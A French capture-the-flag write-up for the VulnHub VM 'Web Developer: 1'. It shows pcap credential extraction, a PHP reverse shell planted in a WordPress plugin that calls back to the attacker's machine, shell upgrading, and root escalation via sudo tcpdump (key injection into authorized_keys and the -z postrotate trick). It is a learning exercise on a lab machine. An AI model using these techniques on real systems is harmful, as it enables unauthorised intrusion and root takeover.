Web Developer: 1

CTF

J’ai commencé il y a peu à faire des Capture The Flag (CTF), des tests d’intrusions sous forme de jeu où le but est de récupérer un « flag », c’est à dire un fichier – généralement /root/flag.txt – sur une machine virtuelle (VM) sur laquelle vous n’avez au départ que très peu d’information.

De nombreux CTF sont disponibles, notamment sur les sites VulnHub.com ou root-me.org. Aujourd’hui j’ai choisi la VM « Web Developer: 1 ». Dans la suite de l’article je vais vous expliquer la procédure que j’ai suivie pour trouver le flag.

Il y a généralement plusieurs méthodes pour y arriver. La mienne n’est certainement pas la plus élégante ni la plus rapide ; je fais surtout ces exercices pour apprendre et progresser. Ici, c’est surtout le résultat qui compte.

La machine

Web Developer: 1 est un CTF créé par un certain Fred Wemeijer et téléchargeable ici. C’est un fichier OVA d’un peu plus d’un giga-octet que vous pouvez importer dans VirtualBox directement. Il est sorti en version finale en novembre 2018 ; c’est donc un peu à la traîne que je m’y mets – mais que voulez-vous : mieux vaut tard que jamais.

J’utilise VirtualBox et j’ai importé l’image de la machine ; j’avais déjà une image de Kali Linux installée.

Kali Linux est une distribution basée sur Debian et qui contient – entre autres – de nombreux logiciels fort utiles. Bien que non nécessaire à proprement parler, avoir une VM sous Kali aide énormément lors des tests d’intrusion. Une image VirtualBox pré-installée est distribuée ; les identifiants par défaut sont root / toor.

Recueil d’informations

Je vais tout d’abord essayer de trouver des informations essentielles, comme l’adresse IP de la machine à infiltrer ainsi qu’une liste de ses ports ouverts. Pour ceci j’utilise nmap.

root@kali:~/WebDeveloper/1# nmap -sn 192.168.1.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-23 07:22 EDT
. . .
Nmap scan report for webdeveloper.home (192.168.1.24)
Host is up (0.00020s latency).
MAC Address: 08:00:27:CC:54:C9 (Oracle VirtualBox virtual NIC)
. . .
Nmap scan report for kali.home (192.168.1.31)
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 1.31 seconds
root@kali:~/WebDeveloper/1#

J’ai utilisé le masque 192.168.1.0/24 parce que c’est la plage attribuée pour mon DHCP. Le vôtre peut différer ; pour trouver la bonne plage utilisez ifconfig.

J’ai récupéré l’IP de la cible : 192.168.1.24. Je passe au scan des ports avec détection du service grâce à l’option -sV.

root@kali:~/WebDeveloper/1# nmap -sV -p- 192.168.1.24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-23 07:26 EDT
Nmap scan report for webdeveloper.home (192.168.1.24)
Host is up (0.000059s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 08:00:27:CC:54:C9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.28 seconds
root@kali:~/WebDeveloper/1#

J’y trouve un serveur SSH sur le port 22, et un serveur Apache sur le port 80. Les deux sont relativement à jour et n’offrent pas une grande surface d’attaque a priori, je vais devoir aller regarder côté applicatif. J’ouvre un navigateur et constate qu’il s’agit d’un site sous WordPress a priori tout à fait banal.

Vous vous souvenez de mon laïus sur Kali un peu plus haut ? Je vais utiliser plusieurs outils fournis de base dans Kali pour chercher des failles plus en détail.

  • wpscan – un scanner de vulnérabilités WordPress
  • nikto – un scanner générique d’applications web
  • dirb – un énumérateur de répertoires ; c’est l’interface en console de DirBuster

wpscan permet de sortir des informations sur la version de WordPress et les plugins utilisés. Il se charge aussi d’énumérer les potentielles failles de sécurité et les erreurs ou oublis dans la configuration.

root@kali:~/WebDeveloper/1# wpscan --url http://192.168.1.24 --no-banner
[+] URL: http://192.168.1.24/
[+] Started: Tue Apr 23 07:33:40 2019
. . .
[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Detected By: Rss Generator (Passive Detection)
 |  - http://192.168.1.24/index.php/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
 |  - http://192.168.1.24/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
 |
 | [!] 9 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 5.0 - Authenticated File Delete
 | [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
 | [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
 | [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
 | [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
 | [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
 | [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
 | [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
[+] WordPress theme in use: twentyseventeen
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
. . .
[i] No Config Backups Found.

[+] Finished: Tue Apr 23 07:33:41 2019
[+] Requests Done: 22
[+] Cached Requests: 33
[+] Data Sent: 4.302 KB
[+] Data Received: 3.474 KB
[+] Memory used: 156.711 MB
[+] Elapsed time: 00:00:00
root@kali:~/WebDeveloper/1#

TL;DR :

  • La version de WordPress utilisée est la 4.9.8
  • 9 vulnérabilités ont été identifiées
  • Le thème actif est Twenty Seventeen
  • Le répertoire /wp-content/uploads est lisible et indexé
  • Aucun plugin n’est activé
  • Aucune sauvegarde n’a été trouvée

Sur les 9 vulnérabilités, je n’ai malheureusement pas grand chose d’exploitable en l’état : la plupart des failles nécessitent un accès authentifié au site – ce que je n’ai pas – et les autres ne me seront pas utiles pour entrer sur le serveur. Rien d’intéressant dans les uploads non plus. Je passe à Nikto, peut-être aurai-je plus de chance ?

root@kali:~/WebDeveloper/1# nikto -host http://192.168.1.24
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.24
+ Target Hostname:    192.168.1.24
+ Target Port:        80
+ Start Time:         2019-04-23 07:39:17 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: </index.php/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2019-04-23 07:40:10 (GMT-4) (53 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~/WebDeveloper/1#

Nikto est plus concis et ne m’aide pas vraiment non plus : on m’indique, entre autres, que l’application tourne sous WordPress et que le répertoire des uploads est lisible – ce que je savais déjà.

Je vais tenter d’énumérer les fichiers et répertoires visibles avec DirBuster. C’est une application Java qui va bombarder de requêtes le serveur cible avec une liste d’URL. En gros, on tire à l’aveugle et on regarde où ça touche.

root@kali:~/WebDeveloper/1# dirb http://192.168.1.24

START_TIME: Tue Apr 23 07:44:21 2019
URL_BASE: http://192.168.1.24/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.24/ ----
. . .

---- Entering directory: http://192.168.1.24/ipdata/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.24/wp-admin/ ----
. . .

-----------------
END_TIME: Tue Apr 23 07:44:28 2019
DOWNLOADED: 32284 - FOUND: 12
root@kali:~/WebDeveloper/1#

Pas mal de contenu relatif à WordPress et qui ne m’intéresse pas tant que ça. En revanche, il y a aussi un dossier qui a l’air prometteur : /ipdata. À l’intérieur, un unique fichier : analyze.cap. Je le télécharge et l’analyse rapidement avec file.

root@kali:~/WebDeveloper/1# curl -O http://192.168.1.24/ipdata/analyze.cap
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 2908k  100 2908k    0     0   135M      0 --:--:-- --:--:-- --:--:--  135M
root@kali:~/WebDeveloper/1# file analyze.cap
analyze.cap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
root@kali:~/WebDeveloper/1#

Exploitation des données sensibles

Les fichiers pcap contiennent des packets réseau enregistrés et sont utilisés pour analyser le trafic entrant ou sortant sur un réseau. Je me sers de Wireshark – via son interface console tshark – pour le lire.

root@kali:~/WebDeveloper/1# tshark -r analyze.cap
Running as user "root" and group "root". This could be dangerous.
    1   0.000000 Tp-LinkT_dd:3e:f4 → Broadcast    ARP 60 Who has 192.168.1.222? Tell 192.168.1.1
    2   3.314392 PcsCompu_74:17:d4 → Broadcast    ARP 60 Who has 192.168.1.176? Tell 192.168.1.222
    3   3.314432 PcsCompu_1d:4d:40 → PcsCompu_74:17:d4 ARP 42 192.168.1.176 is at 08:00:27:1d:4d:40
    4   3.314569 192.168.1.222 → 192.168.1.176 TCP 74 49530 → 80 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=54369214 TSecr=0 WS=128
    5   3.314593 192.168.1.176 → 192.168.1.222 TCP 74 80 → 49530 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=1478098379 TSecr=54369214 WS=128
    6   3.314698 192.168.1.222 → 192.168.1.176 TCP 66 49530 → 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=54369214 TSecr=1478098379
    7   3.314859 192.168.1.222 → 192.168.1.176 HTTP 379 GET / HTTP/1.1
    8   3.314888 192.168.1.176 → 192.168.1.222 TCP 66 80 → 49530 [ACK] Seq=1 Ack=314 Win=30080 Len=0 TSval=1478098379 TSecr=54369215
    9   3.315858 192.168.1.176 → 192.168.1.222 HTTP 3543 HTTP/1.1 200 OK  (text/html)
   10   3.316750 192.168.1.222 → 192.168.1.176 TCP 66 49530 → 80 [ACK] Seq=314 Ack=3478 Win=36224 Len=0 TSval=54369216 TSecr=1478098380
. . .

Je remarque des requêtes HTTP dans ce fichier, entre les IP 192.168.1.176 et 192.168.1.222 ; il me semble que ces dernières correspondent respectivement à la machine virtuelle et à l’administrateur du site WordPress. J’ajoute un filtre à tshark pour ne lister que les requêtes HTTP :

root@kali:~/WebDeveloper/1# tshark -r analyze.cap -Y http.request
Running as user "root" and group "root". This could be dangerous.
    7   3.314859 192.168.1.222 → 192.168.1.176 HTTP 379 GET / HTTP/1.1
   11   3.426604 192.168.1.222 → 192.168.1.176 HTTP 342 GET /icons/ubuntu-logo.png HTTP/1.1
   14   3.455604 192.168.1.222 → 192.168.1.176 HTTP 360 GET /favicon.ico HTTP/1.1
   16   3.457884 192.168.1.222 → 192.168.1.176 HTTP 300 GET /favicon.ico HTTP/1.1
   25   9.187715 192.168.1.222 → 192.168.1.176 HTTP 388 GET /wordpress HTTP/1.1
   29   9.197168 192.168.1.222 → 192.168.1.176 HTTP 389 GET /wordpress/ HTTP/1.1
   36   9.261219 192.168.1.222 → 192.168.1.176 HTTP 409 GET /wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8 HTTP/1.1
   40   9.261920 192.168.1.222 → 192.168.1.176 HTTP 383 GET /wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4 HTTP/1.1
   48   9.266617 192.168.1.222 → 192.168.1.176 HTTP 394 GET /wordpress/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1 HTTP/1.1
   50   9.266697 192.168.1.222 → 192.168.1.176 HTTP 415 GET /wordpress/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js?ver=1.0 HTTP/1.1
. . .

Là encore j’ai beaucoup de bruit. J’aimerais savoir si j’ai dans le lot des requêtes de connexion à l’interface d’administration du WordPress, dans lesquelles je pourrais trouver des identifiants.

root@kali:~/WebDeveloper/1# tshark -r analyze.cap -Y 'http.request.method == POST'
Running as user "root" and group "root". This could be dangerous.
  180  90.210143 192.168.1.222 → 192.168.1.176 HTTP 799 POST /wordpress/wp-login.php HTTP/1.1  (application/x-www-form-urlencoded)
  665 123.135136 192.168.1.222 → 192.168.1.176 HTTP 1015 POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1  (application/x-www-form-urlencoded)
root@kali:~/WebDeveloper/1#

Je liste en détail la requête de connexion (-V) et…

root@kali:~/WebDeveloper/1# tshark -r analyze.cap -Y 'frame.number == 180' -V | grep Form
Running as user "root" and group "root". This could be dangerous.
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "log" = "webdeveloper"
    Form item: "pwd" = "Te5eQg&4sBS!Yr$)wf%(DcAd"
    Form item: "wp-submit" = "Log In"
    Form item: "redirect_to" = "http://192.168.1.176/wordpress/wp-admin/"
    Form item: "testcookie" = "1"
root@kali:~/WebDeveloper/1#

… j’en extrais les accès au compte administrateur du WordPress :

  • Nom d’utilisateur : webdeveloper
  • Mot de passe : Te5eQg&4sBS!Yr$)wf%(DcAd

Intrusion dans le système

J’essaye immédiatement ces identifiants pour me connecter en SSH sur la machine, mais ça ne fonctionne pas ; je vais devoir fouiller un peu plus.

Je me connecte à l’administration du WordPress et, via l’éditeur de plugin, modifie le plugin Hello Dolly pour rajouter un reverse shell dans hello.php.

Ici, j’ai utilisé un des reverse shells fournis dans Kali : php-reverse-shell.php. Il fait partie de ceux mis à disposition dans /usr/share/webshells/php. Il faut bien entendu modifier l’IP pour indiquer celle de la VM Kali et le port par celui souhaité pour l’écoute de connexions entrantes – j’ai choisi le port 4444.

Dans un terminal, je lance netcat avec nc -lvp 4444. Puis j’active le plugin Hello Dolly et obtiens un reverse shell fonctionnel.

root@kali:~/WebDeveloper/1# nc -lvp 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:56830.
Linux webdeveloper 4.15.0-38-generic #41-Ubuntu SMP Wed Oct ..
 13:31:40 up  7:07,  2 users,  load average: 2.00, 2.00, 2.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
webdevel pts/1    192.168.1.31     09:19    2:54m  3:00m  2.20s -bash
root     pts/2    192.168.1.31     10:37    2:50m  0.01s  0.01s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Ce shell est utilisable mais péniblement : pas de complétion avec Tab, pas d’accès à l’historique via les flèches directionnelles, impossible de corriger des fautes de frappe ! Un enfer.

J’ai cherché sur le web et trouvé cette astuce pour en faire un shell fonctionnel.

  • Créer un shell Bash intéractif grâce à un one-liner Python : python3 -c 'import pty; pty.spawn("/bin/bash")'
  • Passer Netcat en tâche de fond (Ctrl + Z)
  • Modifier son terminal Kali pour désactiver l’affichage des commandes tapées : stty raw -echo

À partir de maintenant, il m’est impossible de voir ce que je tape. C’est temporaire. Les commandes sont quand même envoyées.

  • Repasser sur Netcat avec fg (entrée)
  • Réinitialiser son terminal : reset (entrée)

On me demande quel type de terminal j’utilise, je réponds xterm-256color.

  • Écraser les variable d’environnement SHELL et TERM :
    • export SHELL=bash
    • export TERM=term-256color

Je dispose désormais d’un shell bien plus agréable à utiliser.

Recherche de vulnérabilités

Maintenant que j’ai un accès au cœur de la machine, je vais faire quelques contrôles de routine. Tout d’abord, je regarde si j’ai des accès privilégiés :

www-data@webdeveloper:/$ sudo -l
[sudo] password for www-data:

Chou blanc. Je cherche des exécutables avec le bit SUID.

www-data@webdeveloper:/$ find / -perm /u=s 2>/dev/null
/bin/su
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/snap/core/5662/bin/mount
/snap/core/5662/bin/ping
/snap/core/5662/bin/ping6
/snap/core/5662/bin/su
/snap/core/5662/bin/umount
. . .

Rien d’utile ici non plus. Peut-être des infos dans la configuration de WordPress ?

www-data@webdeveloper:/$ grep define /var/www/html/wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'webdeveloper');
define('DB_PASSWORD', 'MasterOfTheUniverse');
define('DB_HOST', 'localhost');
. . .

Intéressant. Je me connecte à la base de données et cherche des informations supplémentaires. Il n’est pas rare d’y trouver des identifiants.

www-data@webdeveloper:/$ mysql -st -uwebdeveloper -pMasterOfTheUniverse
mysql: [Warning] Using a password on the command line interface can be insecure.
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
mysql> use wordpress;
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
mysql> select * from wp_users\G
*************************** 1. row ***************************
                 ID: 1
         user_login: webdeveloper
          user_pass: $P$BnY5Uj/TnavYDwD/MP07LX6ta9XWfI1
      user_nicename: webdeveloper
         user_email: webdeveloper@webdeveloper.com
           user_url:
    user_registered: 2018-10-30 09:04:59
user_activation_key:
        user_status: 0
       display_name: webdeveloper
mysql>

Rien de bien neuf ici. Si j’essayais les mêmes identifiants pour me connecter en SSH ? J’ouvre un nouveau terminal et…

root@kali:~/WebDeveloper/1# ssh webdeveloper@192.168.1.24
webdeveloper@192.168.1.24's password:
. . .
webdeveloper@webdeveloper:~$

… j’ai un accès SSH au compte webdeveloper.

Élévation des privilèges

Comme tout à l’heure, je liste les accès privilégiés – cette fois-ci j’ai le mot de passe du compte.

webdeveloper@webdeveloper:~$ sudo -l
[sudo] password for webdeveloper:
Matching Defaults entries for webdeveloper on webdeveloper:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
    (root) /usr/sbin/tcpdump
webdeveloper@webdeveloper:~$

J’imagine que la suite se passe de ce côté-là, mais n’étant pas habitué à utiliser tcpdump, je ponce un peu son manuel afin d’en apprendre plus. Et je tombe sur les options -r et -w :

webdeveloper@webdeveloper:~$ man tcpdump
TCPDUMP(8)                  System Manager's Manual                 TCPDUMP(8)

NAME
       tcpdump - dump traffic on a network
. . .

-r file
      Read packets from file (which was created with the -w option  or by  other
      tools  that  write  pcap or pcap-ng files).  Standard input is used if
      file is ``-''.
. . .
-w file
      Write  the  raw packets to file rather than parsing and printing them out.
      They can later be printed with the -r option.   Standard output is used if
      file is ``-''.
. . .

J’ai un moyen de lire – et d’écrire – n’importe quel fichier avec les accès root. J’essaye de récupèrer le fichier /etc/shadow pour en déchiffrer les mots de passe avec John the Ripper.

webdeveloper@webdeveloper:~$ sudo tcpdump -r /etc/shadow -w -
tcpdump: unknown file format
webdeveloper@webdeveloper:~$

Il semblerait que tcpdump attende des fichiers dans un format particulier. Il m’est impossible de lire des fichiers arbitraires. Cependant, rien ne m’empêche d’écrire une capture de paquets là où je le souhaite.

Je vais créer un fichier key.cap avec l’enregistrement dune requête HTTP qui contient une clé SSH, et d’écrire ce dernier dans /root/.ssh/authorized_keys afin de pouvoir me connecter en SSH via le compte root. Ce fichier sera un fichier pcap, binaire, mais ce n’est pas gênant car OpenSSH ignore les lignes invalides. En gros, tant que ma clé se retrouve sur une ligne à part je pourrai me connecter.

De retour dans mon terminal Kali, je génère une clé SSH.

root@kali:~/WebDeveloper/1# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/webdeveloper
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/webdeveloper.
Your public key has been saved in /root/.ssh/webdeveloper.pub.
. . .

Je prépare ensuite ma requête curl sans la lancer.

root@kali:~/WebDeveloper/1# curl --data-binary @/root/.ssh/webdeveloper.pub -XPOST 1.1.1.1

J’ouvre un autre terminal et écoute le trafic avec tshark. Je lance maintenant la requête curl puis coupe l’enregistrement.

root@kali:~/WebDeveloper/1# tshark -r key.cap
Running as user "root" and group "root". This could be dangerous.
    1   0.000000 192.168.1.31 → 1.1.1.1      TCP 74 44292 → 80 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=2220058638 TSecr=0 WS=128
    2   0.002528 192.168.1.31 → 1.1.1.1      TCP 54 44292 → 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0
    3   0.002560 192.168.1.31 → 1.1.1.1      HTTP 587 POST / HTTP/1.1  (application/x-www-form-urlencoded)
    4   0.010443 192.168.1.31 → 1.1.1.1      TCP 54 44292 → 80 [ACK] Seq=534 Ack=309 Win=30336 Len=0
    5   0.010531 192.168.1.31 → 1.1.1.1      TCP 54 44292 → 80 [FIN, ACK] Seq=534 Ack=309 Win=30336 Len=0
    6   0.013115 192.168.1.31 → 1.1.1.1      TCP 54 44292 → 80 [ACK] Seq=535 Ack=310 Win=30336 Len=0
root@kali:~/WebDeveloper/1# file key.cap
key.cap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
root@kali:~/WebDeveloper/1# strings -w key.cap
. . .
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB...
. . .

Et j’ai bien un fichier key.cap contenant des paquets encapsulant notre clé SSH. Je n’ai plus qu’à l’injecter.

Exploitation

Je copie la capture avec scp :

root@kali:~/WebDeveloper/1# scp key.cap webdeveloper@192.168.1.24:/tmp
webdeveloper@192.168.1.24's password:
root@kali:~/WebDeveloper/1#

Je reprends ma session `webdeveloper@192.168.1.24et utilisetcpdumppour écrire la clé dans/root/.ssh/authorized_keys`

webdeveloper@webdeveloper:~$ sudo tcpdump -r /tmp/key.cap -w /root/.ssh/authorized_keys
reading from file /tmp/key.cap, link-type EN10MB (Ethernet)
webdeveloper@webdeveloper:~$

Enfin, j’essaye de me connecter en SSH avec l’utilisateur root :

root@kali:~/Desktop/WebDevelopper# ssh -i ~/.ssh/webdeveloper root@192.168.1.24
. . .
root@webdeveloper:~#

Victoire ! Il ne me reste plus qu’à lire le flag.

root@webdeveloper:~# cat flag.txt
Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290
root@webdeveloper:~#

Fin alternative

J’ai voulu savoir comment d’autres avaient résolu ce CTF. J’ai remarqué que la plupart utilisaient une autre technique pour exploiter tcpdump, laquelle est décrite sur cette page. Une option que je n’ai pas repérée avec tcpdump est -z :

-z postrotate-command
      Used in conjunction with the -C or -G options,  this  will  make tcpdump
      run " postrotate-command file " where file is the save‐file being closed
      after each rotation. For  example,  specifying -z  gzip  or  -z bzip2 will
      compress each savefile using gzip or bzip2.

Cette option m’aurait permis d’utiliser n’importe quel exécutable avec un accès root et ainsi de gagner du temps. Il m’aurait alors possible d’accéder au flag avec un simple accès à l’utilisateur webdeveloper :

webdeveloper@webdeveloper:~$ echo 'cat /root/flag.txt' > /tmp/exploit
webdeveloper@webdeveloper:~$ chmod +x /tmp/exploit
webdeveloper@webdeveloper:~$ sudo tcpdump -w /dev/null -G1 -W1 -z /tmp/exploit && sleep 1
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
. . .
Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290
webdeveloper@webdeveloper:~$